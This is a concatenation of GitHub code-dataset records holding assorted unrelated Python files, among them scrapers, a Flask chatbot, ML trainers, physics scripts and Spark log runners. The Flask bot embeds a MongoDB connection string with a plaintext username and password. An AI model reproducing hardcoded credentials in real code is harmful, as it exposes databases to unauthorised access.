\"c\"\n","repo_name":"josejpalacios/codecademy-python3","sub_path":"Lesson 08: Dictionaries/Lesson 03: Code Challenges: Dictionaries/Challenge 06: Largest Value.py","file_name":"Challenge 06: Largest Value.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8284947448","text":"import requests\n\nheaders = {\n 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36'\n}\n\nfp = open('chou.csv', 'a', encoding='utf-8')\nhead = \"序号,目标金额,已筹集额,捐赠人数,转发数量,发布日期\"\nfp.write(head+'\\n')\ncount = 1\n\nfor j in range(1, 6):\n url = f'https://partner-gateway.qschou.com/official/pc/project/succeed?page={j}'\n res = requests.get(url=url, headers=headers).json()\n for i in res['data']:\n channel = i['channel']\n raisefund_no = i['raisefund_no']\n detail_url = f'https://partner-gateway.qschou.com/{channel}/project/{raisefund_no}/info'\n res_sub = requests.get(url=detail_url, headers=headers).json()\n\n total_money = res_sub['data']['total_amount']\n curr_money = res_sub['data']['current_amount']\n dom_num = res_sub['data']['backer_count']\n share_num = res_sub['data']['share_count']\n pub_date = raisefund_no[0:8]\n data = f'{count},{total_money},{curr_money},{dom_num},{share_num},{pub_date}'\n count += 1\n fp.write(data+'\\n')","repo_name":"Eric54920/spider","sub_path":"test/qingsongchou.py","file_name":"qingsongchou.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5650603635","text":"from os import path\nfrom setuptools import setup\n\n\n# FUNCTIONS\n# =========\n\ndef readme(readme_fname: str = \"README.rst\") -> str:\n \"\"\"Returns the contents of README.rst.\n \n :param str readme_fname: Path to README.rst.\n :returns: Contents of *readme_fname*.\n :rtype: str\n \"\"\"\n readme_path = path.join(path.dirname(__file__), readme_fname)\n with open(readme_path) as readme_handle:\n return readme_handle.read()\n\n\n# METADATA\n# ========\n\n# Name of this package.\nNAME = 'sortableclasses'\n\n# Version of this package.\nVERSION = '0.9.5b'\n\n# All other metadata.\nMETADATA = {\n 'name': NAME,\n 'version': VERSION,\n 'description': \"\"\"Retrieve all classes derived from a class and\n sort them by a given priority and order, making it\n easy to draw up and use plugin-like classes.\"\"\",\n 'long_description': readme(),\n 'keywords': 'plugin',\n 'classifiers': [\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)',\n 'Natural Language :: English',\n 'Programming Language :: Python :: 3',\n 'Operating System :: OS Independent'\n ],\n 'url': 'https://github.com/odkr/sortableclasses/',\n 'project_urls': {\n 'Source': 'https://github.com/odkr/sortableclasses/',\n 'Tracker': 'https://github.com/odkr/sortableclasses/issues'\n },\n 'author': 'Odin Kroeger',\n 'author_email': 'odkr@users.noreply.github.com',\n 'license': 'GPL',\n 'python_requires': '>=3, <4',\n 'packages': ['sortableclasses'],\n 'zip_safe': True\n}\n\n\n# Boilerplate\n# ===========\n\nif __name__ == '__main__':\n setup(**METADATA)\n","repo_name":"odkr/sortableclasses.py","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70442104054","text":"def zisu(n,k):\n if n%k==0:\n return True\n return False\n\ndef solution(n):\n answer = 0\n for i in range(1,n+1):\n if zisu(n,i)==True:\n answer+=i\n return answer\n","repo_name":"LEESAE-BOM/Codingtest_study","sub_path":"SaeBom/[220915][PM] 약수의 합.py","file_name":"[220915][PM] 약수의 합.py","file_ext":"py","file_size_in_byte":195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24060737670","text":"# -----------------------------------------\n# My Solution\n#\n# Time Complexity: O(n^3)\n# Space Complexity: O(1)\n# -----------------------------------------\nclass Solution:\n def maxPoints(self, points: List[List[int]]) -> int:\n if len(points) <= 2:\n return len(points)\n\n max_points_num = 2\n for i in range(len(points) - 1):\n for j in range(i + 1, len(points)):\n p1 = points[i]\n p2 = points[j]\n\n points_num = 2\n for k in range(len(points)):\n if k != i and k != j and self.p_on_same_line(p1, p2, points[k]):\n points_num += 1\n max_points_num = max(max_points_num, points_num)\n \n return max_points_num\n\n def p_on_same_line(self, p1, p2, p):\n if p1[0] == p2[0]:\n return p[0] == p1[0]\n if p1[1] == p2[1]:\n return p[1] == p1[1]\n\n return (p[0] - p1[0]) / (p2[0] - p1[0]) == (p[1] - p1[1]) / (p2[1] - p1[1])\n","repo_name":"DaMinaup6/algorithm-exercises","sub_path":"leetcode/hard/149_max_points_on_a_line.py","file_name":"149_max_points_on_a_line.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28967146946","text":"import os\n\nimport torch.nn\nfrom ray import tune\nfrom utils.load_model import get_model\nfrom utils.load_dataset import get_dataset\nfrom omegaconf import OmegaConf\nfrom config import *\nfrom models.utils.losses import *\n\nclass trainAe(tune.Trainable):\n\n def setup(self, config):\n # setup function is invoked once training starts\n # setup function is invoked once training starts\n # setup function is invoked once training starts\n self.cfg = OmegaConf.load(config_path + ae_config_file) #here use only vae conf file\n self.model_name = '_'.join((self.cfg.model.name, self.cfg.dataset.name)) + '.h5'\n\n #following config keys have to be in the config file of this model\n self.lr = config['lr']\n self.intermediate_dim = config['intermediate_dim']\n self.code_dim = config['code_dim']\n self.batch_size = config['batch_size']\n self.epochs = config['epochs']\n\n self.trainloader, self.valloader, _, _\\\n , self.original_dim = get_dataset(self.cfg, batch_size=self.batch_size)\n\n self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n self.model = get_model(self.cfg, original_dim=self.original_dim, intermediate_dim=self.intermediate_dim,\n code_dim=self.code_dim).to(self.device)\n self.optimizer = torch.optim.Adam(self.model.parameters(), lr=self.lr)\n\n def step(self):\n self.current_ip()\n val_loss = self.train_ae(checkpoint_dir=None)\n result = {\"loss\": val_loss}\n return result\n\n def train_ae(self, checkpoint_dir=None):\n cuda = torch.cuda.is_available()\n if cuda:\n print('added visible gpu')\n ngpus = torch.cuda.device_count() #needed if more trainer per gpu o more gpu per trainer\n\n ####Train Loop####\n \"\"\"\n Set the models to the training mode first and train\n \"\"\"\n train_loss = []\n patience = 1\n scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(self.optimizer, 'min', factor=0.8, patience=patience\n , threshold=0.0001, threshold_mode='rel',\n cooldown=0, min_lr=9e-8, verbose=True)\n\n\n for epoch in range(self.epochs):\n self.model.train()\n running_loss = 0.0\n for i, (x, y) in enumerate(self.trainloader):\n self.optimizer.zero_grad()\n\n x = x.to(self.device)\n y = y.to(self.device)\n out = self.model(x)\n\n loss = torch.nn.BCELoss()(out, y)\n loss.backward()\n self.optimizer.step()\n\n running_loss += loss.item()\n train_loss.append(loss.item())\n\n if i % 10 == 0:\n print(\"Loss: {}\".format(loss.item()))\n\n ###############################################\n # eval mode for evaluation on validation dataset\n ###############################################\n\n # Validation loss\n # val_loss = 0.0\n temp_val_loss = 0.0\n val_steps = 0\n for i, (x, y) in enumerate(self.valloader, 0):\n with torch.no_grad():\n x = x.to(self.device)\n\n self.optimizer.zero_grad()\n\n x = x.to(self.device)\n y = y.to(self.device)\n out = self.model(x)\n\n temp_val_loss += torch.nn.BCELoss()(out, y)\n\n val_steps += 1\n val_loss = temp_val_loss / len(self.valloader)\n val_loss_cpu = val_loss.cpu().item()\n print('validation_loss {}'.format(val_loss_cpu))\n scheduler.step(val_loss)\n return val_loss_cpu\n\n def save_checkpoint(self, checkpoint_dir):\n print(\"this is the checkpoint dir {}\".format(checkpoint_dir))\n checkpoint_path = os.path.join(checkpoint_dir, self.model_name)\n torch.save(self.model.state_dict(), checkpoint_path)\n return checkpoint_path\n\n def load_checkpoint(self, checkpoint_path):\n self.model.load_state_dict(torch.load(checkpoint_path))\n\n # this is currently needed to handle Cori GPU multiple interfaces\n\n def current_ip(self):\n import socket\n hostname = socket.getfqdn(socket.gethostname())\n self._local_ip = socket.gethostbyname(hostname)\n return self._local_ip","repo_name":"robomorelli/ray_hyperparameters","sub_path":"trainer/ae_trainer.py","file_name":"ae_trainer.py","file_ext":"py","file_size_in_byte":4525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11138685145","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom qutip import *\nfrom charge_funcs import hamiltonian, visualize_dynamics, plot_energies\n\ndef energies(Ec, Ej, N):\n\t\n\tng_vec = np.linspace(-4, 4, 200)\n\n\tenergies = np.array([hamiltonian(Ec, Ej, N, ng).eigenenergies() for ng in ng_vec])\n\t\n\treturn(plot_energies(ng_vec, energies, 'Transmon Regime', ymax = [75,3]))\n\n\n\n\"\"\"\nCharge qubit regime (Ej ~ Ec)\n\"\"\"\n\n#qb_charge = energies(1, 1, 10)\n\n\"\"\"\nIntermediate regime (Ej > Ec)\n\"\"\"\n\n#qb_intermediate = energies(1, 5, 10)\n\n\"\"\"\nTransmon regime (Ej = 50Ec)\n\"\"\"\n\n#qb_transmon = energies(1, 50, 10)\n\nH = hamiltonian(1,1,10,0.5)\n\nevals, ekets = H.eigenstates() # stores eigenvalues (evals) and eigenvectors (ekets)\n\n#print(evals) \n\n'''\noutput = [ 0.47065435 1.46676684 9.01371984 9.01760693 25.00520901\n 25.00520943 49.00260427 49.00260427 81.00156252 81.00156252\n 121.00104167 121.00104167 169.00074405 169.00074405 225.00055804\n 225.00055804 289.00043403 289.00043411 361.00034728 361.00347214\n 441.00312494]\n'''\n#print(evals[1]-evals[0]) # output = 0.9961124875822172\n\n#print(abs(ekets[0].full() > 0.1))\n\n'''\nOf the states in my first eigenstate, which carry the most weight?\nThe output of this tells us that only two states meet this inequality\n'''\n\n#print(abs(ekets[1].full()) > 0.1)\n\n'''\nSimilar to the above expression except now I am checking my second \neigenstate. Once again, only two states hold any weight.\n'''\n\npsi_g = ekets[0] # ground state\npsi_e = ekets[1] # first excited state\n\nsx = psi_g * psi_e.dag() + psi_e * psi_g.dag() # sigma_x operator\nsz = psi_g * psi_g.dag() - psi_e * psi_e.dag() # sigma_z operator\n\nH0 = 0.5 * (evals[1]-evals[0]) * sz # Qubit Hamiltonian\nA = 0.25 # driving amplitude\nHd = 0.5 * A * sx # a driving Hamiltonian which comes from driving ng(t)\n\nHeff = [H0, [Hd, 'sin(wd*t)']] # an external field\nargs = {'wd': (evals[1]-evals[0])}\n\ntlist = np.linspace(0.0, 100.0, 500) # time values\n\nresult = mesolve(Heff, psi_g, tlist, [], [ket2dm(psi_e)], args=args)\n# evolving our system using the master equation solver\n\nvisualize_dynamics(result, r'$\\rho_{ee}$')\nplt.show()\n\n\n\n\n","repo_name":"tylerdolezal/dolezal_qutip","sub_path":"charge_script.py","file_name":"charge_script.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10774698553","text":"import random\r\n\r\n\r\ndef oil(m, n, file):\r\n with open(file, 'a') as f:\r\n f.write(f\"{m} {n}\\n\")\r\n for _ in range(m):\r\n for _ in range(n):\r\n if random.randint(0,1):\r\n f.write(\"*\")\r\n else:\r\n f.write(\"@\")\r\n f.write(\"\\n\")\r\n\r\n\r\nif __name__ == '__main__':\r\n file = 'data_oil.in'\r\n with open(file, 'w') as f:\r\n f.write(\"\")\r\n for _ in range(100):\r\n m = random.randint(1, 100)\r\n n = random.randint(1, 100)\r\n oil(m, n, file)","repo_name":"AllenWu233/algorithm_study","sub_path":"chapter_6/test_oil_deposits.py","file_name":"test_oil_deposits.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7501818685","text":"# doing necessary imports\nfrom flask import Flask, render_template, request, jsonify, make_response\nfrom flask_cors import CORS, cross_origin\nimport requests\nimport pymongo\nimport json\nimport os\nfrom saveConversation import Conversations\nfrom DataRequests import MakeApiRequests\nfrom sendEmail import EMailClient\nfrom pymongo import MongoClient\nimport certifi\n\napp = Flask(__name__) # initialising the flask app with the name 'app'\n\n@app.route('/', methods=['POST', 'GET'])\ndef index():\n return render_template('index.html')\n# geting and sending response to dialogflow\n@app.route('/webhook', methods=['POST'])\n@cross_origin()\ndef webhook():\n req = request.get_json(silent=True, force=True)\n res = processRequest(req)\n res = json.dumps(res, indent=4)\n r = make_response(res)\n r.headers['Content-Type'] = 'application/json'\n return r\n\n\n# processing the request from dialogflow\ndef processRequest(req):\n # dbConn = pymongo.MongoClient(\"mongodb://localhost:27017/\") # opening a connection to Mongo\n log = Conversations.Log()\n sessionID = req.get('responseId')\n result = req.get(\"queryResult\")\n intent = result.get(\"intent\").get('displayName')\n query_text = result.get(\"queryText\")\n parameters = result.get(\"parameters\")\n cust_name = parameters.get(\"name\")\n cust_contact = parameters.get(\"cust_contact\")\n cust_email = parameters.get(\"email\")\n db = configureDataBase()\n\n if intent == 'calorie_information':\n food = parameters.get(\"food\")\n fulfillmentText = makeAPIRequest(food)\n if fulfillmentText:\n nutrients = fulfillmentText.get('nutrients')\n webhookresponse = \"***Nutrition Report*** \\n\\n\" + \" Name :\" + str(fulfillmentText.get('label')) + \\\n \"\\n\" + \"Fat in gm : \" + str(nutrients.get('FAT')) + \"\\n\" \\\n \" Protein in gms : \" + str(nutrients.get('PROCNT')) + \"\\n\" \\\n \" Carbohydrates in gms : \" + str(nutrients.get('CHOCDF')) + \"\\n\" \\\n + \" Calories : \" + str(nutrients.get('ENERC_KCAL')) + \"\\n\" \\\n + \" Fibre : \" + str(nutrients.get('FIBTG')) + \"\\n\" \\\n + \"\\n\\n*******END********* \\n \"\n else:\n webhookresponse = \"You have either entered incorrect food item or you have exceeded the maximum api calls for this app. Please upgrade your plan in Rapid API to keep using this feature\"\n\n print(webhookresponse)\n log.saveConversations(sessionID, food, webhookresponse, intent, db)\n #log.saveCases(\"calorie\", fulfillmentText, db)\n return {\n\n \"fulfillmentMessages\": [\n {\n \"text\": {\n \"text\": [\n webhookresponse\n ]\n\n }\n },\n {\n \"text\": {\n \"text\": [\n \"What else can I help you with?\"\n\n ]\n\n }\n }\n ]\n }\n elif intent == \"Welcome\" or intent == \"Default Fallback Intent\" or intent == \"no_email\" or intent == \"endConversation\" or intent == \"Main-Menu\" or intent == \"Default Welcome Intent\":\n fulfillmentText = result.get(\"fulfillmentText\")\n log.saveConversations(sessionID, query_text, fulfillmentText, intent, db)\n elif intent == \"send_report_to_email\":\n print(\"inside send_report_to_email\")\n fulfillmentText = result.get(\"fulfillmentText\")\n val = log.getcasesForEmail(\"calorie_information\", \"\", db)\n print(\"database value===>\", val)\n log.saveConversations(sessionID, \"Sure send email\", fulfillmentText, intent, db)\n prepareEmail([cust_name, cust_contact, cust_email, val])\n else:\n return {\n \"fulfillmentText\": \"Lets try different approach. What's your question again?\",\n }\n\n\ndef configureDataBase():\n client = MongoClient(\"mongodb+srv://anu:somepassword@cluster0.cdxqu38.mongodb.net/?retryWrites=true&w=majority\",tlsCAFile=certifi.where())\n return client.get_database('NutritionDB')\n\n\ndef makeAPIRequest(query):\n api = MakeApiRequests.Api()\n return api.makeApiRequestForFood(query)\n\ndef prepareEmail(contact_list):\n print(\"prepareEmail\",contact_list )\n mailclient = EMailClient.GMailClient()\n mailclient.sendEmail(contact_list)\n\n\nif __name__ == '__main__':\n port = int(os.getenv('PORT',5000))\n print(\"Starting app on port %d\" % port)\n app.run(debug=False, port=port, host='0.0.0.0')\n'''if __name__ == \"__main__\":\n app.run(port=5000, debug=True)''' # running the app on the local machine on port 8000\n","repo_name":"Anu4ruby/NutritionBot","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40860756167","text":"from functools import partial\nfrom typing import List, Dict\n\nfrom src.Sequencer import TextChunk, JingleChunk\nfrom src.dictionary.BaseDictionary import BaseDictionary\nfrom src.utils.singleton import Singleton\n\n\nclass Translator(metaclass=Singleton):\n\n # @classmethod\n # def __new__(cls, *args, **kwargs):\n # if not hasattr(cls, 'instance'):\n # cls.instance = super(Translator, cls).__new__(cls)\n # return cls.instance\n\n def __init__(self, dict_descriptors):\n if dict_descriptors is None:\n return\n\n self.dictionaries: Dict[str, List[BaseDictionary]] = dict()\n self.all_dictionaries: List[BaseDictionary] = list()\n self._load_dictionaries(dict_descriptors)\n\n def _load_dictionaries(self, dict_descriptors):\n for d in dict_descriptors:\n language_pair = d['pair']\n dictionary = BaseDictionary.load(d['file'], d['type'], d['encoding'], language_pair)\n\n if language_pair not in self.dictionaries:\n self.dictionaries[language_pair] = list()\n\n self.dictionaries[language_pair].append(dictionary)\n self.all_dictionaries.append(dictionary)\n\n def translate(self, word, language_pair=None):\n def chunk_factory(*, language, text):\n return TextChunk(text=text, language=language)\n\n if language_pair and language_pair in self.dictionaries:\n dictionaries = self.dictionaries[language_pair]\n else:\n dictionaries = self.all_dictionaries\n\n result = list()\n\n for d in dictionaries:\n chunks = d.translate_word_chunked(word, chunk_factory)\n if chunks:\n result.extend(chunks)\n\n return result\n\n def get_examples(self, word, language):\n\n def example_sequence(foreign, native, pair):\n return [\n TextChunk(text=pair[0].strip(), language=foreign),\n JingleChunk(jingle='silence'),\n TextChunk(text=pair[1].strip(), language=native)\n ]\n\n examples = list()\n for d in self.all_dictionaries:\n if d.language_pair.startswith(language.capitalize()):\n to_chunks = partial(example_sequence, d.foreign_language, d.native_language)\n examples += map(to_chunks, d.get_examples(word))\n\n return examples\n","repo_name":"ptytb/ritmom","sub_path":"src/Translator.py","file_name":"Translator.py","file_ext":"py","file_size_in_byte":2366,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"10350143841","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nf = lambda x: np.sin(2 * x) ** 2\na, b = [0, 2 * np.pi]\nn = 10\n\n# MODE = \"SHOW\"\nMODE = \"SAVE\"\n\n\ndef plot_integral(f, a, b, n, method='left'):\n \"\"\"\n @param f: функция, которую нужно интегрировать\n @param a: левая граница отрезка\n @param b: правая граница отрезка\n @param n: число разбиений\n @param method: метод, который нужно использовать\n @return I: значение интегральной суммы\n Вычисляет интегральную сумму функции f на отрезке [a, b]\n при заданном числе n разбиений\n с помощью одного из методов(left, right, midpoint, random, trapezoidal).\n Строит график функции f на отрезке [a, b] и добавляет на этот график прямоугольники, которые\n соответствуют выбранной интегральной сумме.\"\"\"\n # добавляем график функции\n x = np.linspace(a, b, 1000)\n y = f(x)\n plt.plot(x, y)\n plt.gcf().set_size_inches(15, 9)\n length_of_segment = (b - a) / n\n x_points = np.linspace(a, b, n + 1)\n if method == 'left':\n x_points = x_points[:-1]\n y_points = f(x_points)\n for i in range(n):\n rect = plt.Rectangle((x_points[i], 0), length_of_segment, y_points[i], facecolor='blue', alpha=0.3)\n plt.gca().add_patch(rect)\n elif method == 'right':\n x_points = x_points[1:]\n y_points = f(x_points)\n for i in range(n):\n rect = plt.Rectangle((x_points[i] - length_of_segment, 0), length_of_segment, y_points[i], facecolor='blue',\n alpha=0.3)\n plt.gca().add_patch(rect)\n elif method == 'midpoint':\n x_points = x_points[:-1] + length_of_segment / 2\n y_points = f(x_points)\n for i in range(n):\n rect = plt.Rectangle((x_points[i] - length_of_segment / 2, 0), length_of_segment, y_points[i],\n facecolor='blue', alpha=0.3)\n plt.gca().add_patch(rect)\n elif method == 'random':\n xx_points = x_points[:-1] + np.random.uniform(0, length_of_segment, size=n)\n x_points = x_points[:-1] + length_of_segment / 2\n y_points = f(xx_points)\n for i in range(n):\n rect = plt.Rectangle((x_points[i] - length_of_segment, 0), length_of_segment, y_points[i], facecolor='blue',\n alpha=0.3)\n plt.gca().add_patch(rect)\n elif method == 'trapezoidal':\n x_points = np.linspace(a, b, n + 1)\n y_points = f(x_points)\n for i in range(n):\n plt.plot([x_points[i], x_points[i + 1]], [y_points[i], y_points[i + 1]], 'b-', lw=2)\n plt.fill_between(x_points, y_points, alpha=0.3)\n else:\n raise ValueError(f'Unknown method: {method}')\n if method != 'trapezoidal':\n I = np.sum(y_points) * length_of_segment\n plt.title(f'The way of selecting equipment: {method}; Partitioning into {n} parts; I = {I:.16f}')\n else:\n I = np.sum((y_points[1:] + y_points[:-1]) * length_of_segment / 2)\n plt.title(f'Trapezoidal rule; Partitioning into {n} parts; I = {I:.16f}')\n plt.xlabel('x')\n plt.ylabel('y')\n if MODE == \"SAVE\":\n plt.savefig(f\"{n}_{method}.png\")\n if MODE == \"SHOW\":\n plt.show()\n plt.close()\n return I\n\n\ndef compare_with_pi(x):\n return x - np.pi\n\n\ndef pretty_print(x):\n return f'{x:.16f} {compare_with_pi(x)}'\n\n\ndef main():\n print(f\"{np.pi:.16f}\")\n print(f\"Integral of (sin(2x))^2 from {a} to {b} with {n} segments using different methods:\")\n for method in ['left', 'right', 'midpoint', 'random', 'trapezoidal']:\n I = plot_integral(f, a, b, n, method=method)\n print(f'{method}: {I:.16f} {compare_with_pi(I):.16f}')\n\n\ndef create_a_table_row_for_latex(methods, ns):\n # Выбор оснащения & Левое & Среднее & Правое & Случайное & Трапециальное\\\\\n # \\hline\n # n = 10 & 3.141593 & 3.141593 & 3.141593 & 3.207766 & 3.141593\\\\\n for n in ns:\n methods_results = []\n for method in methods:\n I = plot_integral(f, a, b, n, method=method)\n comparing_with_pi = I - np.pi\n methods_results.append(f'{I:.16f}')\n print(f'{n} & {method} & {I:.16f} & {comparing_with_pi:.16f} \\\\\\\\')\n print(f'n = {n} & {\" & \".join(methods_results)} \\\\\\\\')\n # return f'{method} & {n} & {I:.16f} & {compare_with_pi:.16f} \\\\\\\\'\n\n\nif __name__ == '__main__':\n # main()\n print(f\"{np.pi:.20f}\")\n needed_methods = ['left', 'midpoint', 'right', 'random', 'trapezoidal']\n all_ns = [25, 50, 100, 1000]\n # all_ns = [10]\n create_a_table_row_for_latex(needed_methods, all_ns)\n # 3.14159265358979311600\n # 3.1415926535897936","repo_name":"x1r/mathAnalysis","sub_path":"Lab2/Lab2.py","file_name":"Lab2.py","file_ext":"py","file_size_in_byte":5051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3310443602","text":"from __future__ import annotations\nimport locale\nimport threading\nfrom typing import Optional\nfrom models import CheatModel\nfrom views import CheatView, run\nimport gettext\n\nimport gi\ngi.require_version('Gtk', '4.0')\nfrom gi.repository import Gtk, GLib, Gdk\n\nlocation = locale.getlocale()\ntry:\n loc = gettext.translation('presenters', localedir='locale', languages=[location[0]])\nexcept:\n loc = gettext.translation('presenters', localedir='locale', languages=['es_ES'])\nloc.install()\n_ = loc.gettext\nN_ = gettext.ngettext\n\nclass CheatPresenter:\n string: str = \"\"\n\n def __init__(\n self,\n model: Optional[CheatModel] = None,\n view: Optional[CheatView] = None,\n ) -> None:\n self.model = model or CheatModel()\n self.view = view or CheatView()\n\n def run(self, application_id: str) -> None:\n self.view.set_handler(self)\n run(application_id=application_id, on_activate=self.view.on_activate)\n\n def on_built(self, _view: CheatView) -> None:\n self._update_view(\"\")\n\n def _update_view(self, result) -> None:\n self.view.clear()\n self.view.add_row(result)\n\n def on_search_clicked(self) -> None:\n txt = self.view.textbox.get_text()\n if txt != \"\":\n search = CheatModel.parse_text(txt)\n txt_command = search[0].commands\n try:\n threading.Thread(target=self.threadSearch(txt_command), name=\"petition thread\", args=txt_command, daemon=True).start()\n except:\n self.string = _(\"Etiqueta_ErrorThread\")\n self._update_view(self.string)\n else:\n self._update_view(\"\")\n\n def threadSearch(self, txt_command) -> None:\n try:\n result = CheatModel.get_cheatsheet(txt_command)\n goodResult=self.parseResult(result)\n except:\n goodResult = _(\"Etiqueta_ErrorConexion\")\n GLib.idle_add(self._update_view, goodResult)\n\n def parseResult(self, result) -> str:\n goodResult = \"\"\n for r in result:\n if r != None:\n goodResult = f\" {goodResult} \\n • {r.description} \\n {r.commands} \\n \"\n if goodResult == \"\":\n goodResult = _(\"Etiqueta_NoResultados\")\n return goodResult","repo_name":"ivangarciaquintela/IPM","sub_path":"2223-p_desktop-equipo-20-main/presenters.py","file_name":"presenters.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25001113168","text":"def may17ExtractionTest(day):\n dateStr = '2017-05-' + str(day)\n import paths, FinalizedRunners\n inputPath = paths.joinPath(may2017Folder, dateStr)\n keywords = get32Keywords()\n outputPath = paths.joinPath(filteredLogsFromMayFolder, dateStr + '_extractedLogs')\n FinalizedRunners.saveExtractedLogsByKeywordsFromHDFS(inputPath, keywords, outputPath)\n\ndef pairingTest(day):\n keywords = get32Keywords() # 'zigon sehpa' # 'iphone 7' # \"BEKO 9 KG CAMASIR MAKINESI\" # 'tupperware' # get5Keywords() # _file_old\n dateStr = '2017-05-' + str(day)\n import paths, SparkLogFileHandler, FinalizedRunners\n extractedPath = paths.joinPath(filteredLogsFromMayFolder, dateStr + '_extractedLogs')\n outputFolder = paths.joinPath(labeledPairsMayFromMayFolder, dateStr)\n FinalizedRunners.pairLabellingFromObjectiveLogsTest(extractedPath, keywords, outputFolder, filtering = False)\n\ndef mergeAll():\n import paths, SparkLogFileHandler, FinalizedRunners\n outputPath = paths.joinPath(filteredLogsFromMayFolder, 'allWeek_extractedLogs')\n logs = SparkLogFileHandler.sc_().parallelize([])\n for d in range(15, 22):\n dateStr = '2017-05-' + str(d)\n inputPath = paths.joinPath(filteredLogsFromMayFolder, dateStr + '_extractedLogs')\n logs = logs.union(FinalizedRunners.getPreparedLogsFromHDFS(inputPath, filtering = False))\n logs = logs.coalesce(24)\n SparkLogFileHandler.saveRDDToHDFS(logs, outputPath)\n\ndef pairAllTest():\n keywords = get32Keywords() \n import paths, SparkLogFileHandler, FinalizedRunners\n extractedPath = paths.joinPath(filteredLogsFromMayFolder, 'allWeek_extractedLogs')\n outputFolder = paths.joinPath(labeledPairsMayFromMayFolder, 'allWeek')\n FinalizedRunners.pairLabellingFromObjectiveLogsTest(extractedPath, keywords, outputFolder, filtering = False)\n \ndef trainTest():\n import paths, SparkLogFileHandler, FinalizedRunners, Trainer\n keyword = 'KIZ COCUK ABIYE ELBISE'.lower().replace(' ', '_') #'galaxy_s3' #'samsung_galaxy_s5_mini'\n pairsFolder = paths.joinPath(labeledPairsMayFromMayFolder, 'allWeek')\n pairsPath = paths.joinPath(pairsFolder, keyword + '_pairs')\n outputPath = paths.joinPath(paths.specificProductsFolder, keyword + '_products')\n productVectorFolder = outputPath\n Trainer.train(pairsPath, newProductVectorFolder, outputPath)\n\ndef trainAllTest():\n import paths, PythonVersionHandler, SparkLogFileHandler, FinalizedRunners, Trainer\n l = ['besiktas', 'kol_saati', 'iphone_7', 'iphone_7_kilif', 'nike_air_max', 'tupperware', 'stres_carki', \n 'buzdolabi', 'vestel_camasir_makinesi', 'samsung_galaxy_j7_prime', 'samsung', 'dikey_elektrikli_supurge', \n 'jbl_hoparlor', 'bisiklet', 'lenovo_k6_note', 'sandalye_kilifi', 'xiaomi', 'samsung_galaxy_s6', \n 'kirmizi_converse', 'kiz_cocuk_abiye_elbise', 'avon_kadin_parfum', 'kamp_cadiri', 'adidas', 'xiaomi_mi5',\n 'samsung_galaxy_s5_mini']\n d = ['beko_9_kg_camasir_makinesi', 'kot_pantalon', 'mani_jeans_kot_pantalon']\n p = ['kadin_parfum', 'samsung_galaxy_s5_mini']\n for c, keyword in enumerate(get32Keywords()):\n PythonVersionHandler.print_logging(str(c+1)+'.', keyword.upper() + ':')\n keyword = keyword.lower().replace(' ', '_')\n #if keyword in l:\n # PythonVersionHandler.print_logging('Weights have already been learned for this keyword')\n # continue\n if keyword in d:\n PythonVersionHandler.print_logging('Pairs do not exist for this keyword')\n continue\n elif keyword in p:\n PythonVersionHandler.print_logging('TrainingData could not be generated for this keyword')\n continue\n pairsFolder = paths.joinPath(labeledPairsMayFromMayFolder, 'allWeek')\n pairsPath = paths.joinPath(pairsFolder, keyword + '_pairs')\n outputPath = paths.joinPath(paths.specificProductsFolder, keyword + '_products')\n productVectorFolder = outputPath\n Trainer.train(pairsPath, productVectorFolder, outputPath, saving = False)\n\ndef trainingTest21():\n import paths, FinalizedRunners, Trainer\n feature_names = ['photos', 'feedbackPercentage', 'memberSoldCount', 'soldCount',\n 'memberSegment', 'subtitleFlag', 'brandNew', 'freeCargo', 'windowOptionFlag']\n Trainer.setFeatureVector(feature_names)\n keywords = ['besiktas', 'kol_saati', 'iphone_7', 'iphone_7_kilif']\n for keyword in keywords: \n folder = paths.joinPath(paths.joinPath(paths.HDFSRootFolder, 'secondWeek'), keyword)\n FinalizedRunners.trainForKeyword(keyword, folder, saving = True)\n \ndef bes(keyword = 'iphone 7'):\n import paths, SparkLogFileHandler, SearchExtractor, FinalizedRunners, NewProductPreferrer, PythonVersionHandler\n keyword_name = keyword.replace(' ', '_')\n outputFolder = paths.joinPath(paths.HDFSRootFolder, 'weekAugust')\n outputPath = paths.joinPath(outputFolder, keyword_name + '/' + keyword_name + '_extractedLogs')\n logs = FinalizedRunners.getPreparedLogsFromHDFS(outputPath, filtering = False)\n searchNProductLogs = SearchExtractor.searchNProductLogsForSingleKeyword(logs, keyword)\n pairs = 